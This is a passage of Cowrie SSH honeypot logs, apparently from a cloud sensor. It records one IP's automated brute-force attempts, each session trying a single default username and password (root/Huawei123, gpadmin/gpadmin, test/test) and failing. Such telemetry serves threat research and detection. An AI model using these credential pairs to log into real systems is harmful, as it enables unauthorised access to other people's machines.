{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48900,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cf6b6d5b94c","protocol":"ssh","message":"New connection: 192.109.200.237:48900 (159.203.135.109:22) [session: 8cf6b6d5b94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:18.573253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:18.578058Z","src_ip":"192.109.200.237","session":"8cf6b6d5b94c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:18.660210Z","src_ip":"192.109.200.237","session":"8cf6b6d5b94c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:18.906238Z","src_ip":"192.109.200.237","session":"8cf6b6d5b94c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:19.990811Z","src_ip":"192.109.200.237","session":"8cf6b6d5b94c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47352,"dst_ip":"159.203.135.109","dst_port":22,"session":"40cfda294816","protocol":"ssh","message":"New connection: 192.109.200.237:47352 (159.203.135.109:22) [session: 40cfda294816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:21.760764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:21.765814Z","src_ip":"192.109.200.237","session":"40cfda294816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:21.849391Z","src_ip":"192.109.200.237","session":"40cfda294816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:22.098249Z","src_ip":"192.109.200.237","session":"40cfda294816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:23.183801Z","src_ip":"192.109.200.237","session":"40cfda294816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47360,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9dad68d3613","protocol":"ssh","message":"New connection: 192.109.200.237:47360 (159.203.135.109:22) [session: d9dad68d3613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:24.950557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:24.955005Z","src_ip":"192.109.200.237","session":"d9dad68d3613","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:25.037098Z","src_ip":"192.109.200.237","session":"d9dad68d3613","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:25.284548Z","src_ip":"192.109.200.237","session":"d9dad68d3613","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:26.389571Z","src_ip":"192.109.200.237","session":"d9dad68d3613","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47366,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4c0d4b2858c","protocol":"ssh","message":"New connection: 192.109.200.237:47366 (159.203.135.109:22) [session: b4c0d4b2858c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:28.139064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:28.142991Z","src_ip":"192.109.200.237","session":"b4c0d4b2858c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:28.224864Z","src_ip":"192.109.200.237","session":"b4c0d4b2858c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:28.514714Z","src_ip":"192.109.200.237","session":"b4c0d4b2858c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:29.599412Z","src_ip":"192.109.200.237","session":"b4c0d4b2858c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33678,"dst_ip":"159.203.135.109","dst_port":22,"session":"316339c4898f","protocol":"ssh","message":"New connection: 192.109.200.237:33678 (159.203.135.109:22) [session: 316339c4898f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:31.418008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:31.422956Z","src_ip":"192.109.200.237","session":"316339c4898f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:31.504915Z","src_ip":"192.109.200.237","session":"316339c4898f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:31.755031Z","src_ip":"192.109.200.237","session":"316339c4898f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:32.839989Z","src_ip":"192.109.200.237","session":"316339c4898f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33684,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2ffbed5281d","protocol":"ssh","message":"New connection: 192.109.200.237:33684 (159.203.135.109:22) [session: e2ffbed5281d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:34.583627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:34.587716Z","src_ip":"192.109.200.237","session":"e2ffbed5281d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:34.669152Z","src_ip":"192.109.200.237","session":"e2ffbed5281d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:34.916033Z","src_ip":"192.109.200.237","session":"e2ffbed5281d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:36.001138Z","src_ip":"192.109.200.237","session":"e2ffbed5281d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33698,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f1aba56e050","protocol":"ssh","message":"New connection: 192.109.200.237:33698 (159.203.135.109:22) [session: 1f1aba56e050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:37.743195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:37.748375Z","src_ip":"192.109.200.237","session":"1f1aba56e050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:37.831401Z","src_ip":"192.109.200.237","session":"1f1aba56e050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:38.084809Z","src_ip":"192.109.200.237","session":"1f1aba56e050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:39.169712Z","src_ip":"192.109.200.237","session":"1f1aba56e050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55536,"dst_ip":"159.203.135.109","dst_port":22,"session":"a101da9e9177","protocol":"ssh","message":"New connection: 192.109.200.237:55536 (159.203.135.109:22) [session: a101da9e9177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:40.924131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:40.927869Z","src_ip":"192.109.200.237","session":"a101da9e9177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:41.036732Z","src_ip":"192.109.200.237","session":"a101da9e9177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:41.411439Z","src_ip":"192.109.200.237","session":"a101da9e9177","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:42.496767Z","src_ip":"192.109.200.237","session":"a101da9e9177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55540,"dst_ip":"159.203.135.109","dst_port":22,"session":"e60d6f3a3c24","protocol":"ssh","message":"New connection: 192.109.200.237:55540 (159.203.135.109:22) [session: e60d6f3a3c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:44.363569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:44.368290Z","src_ip":"192.109.200.237","session":"e60d6f3a3c24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v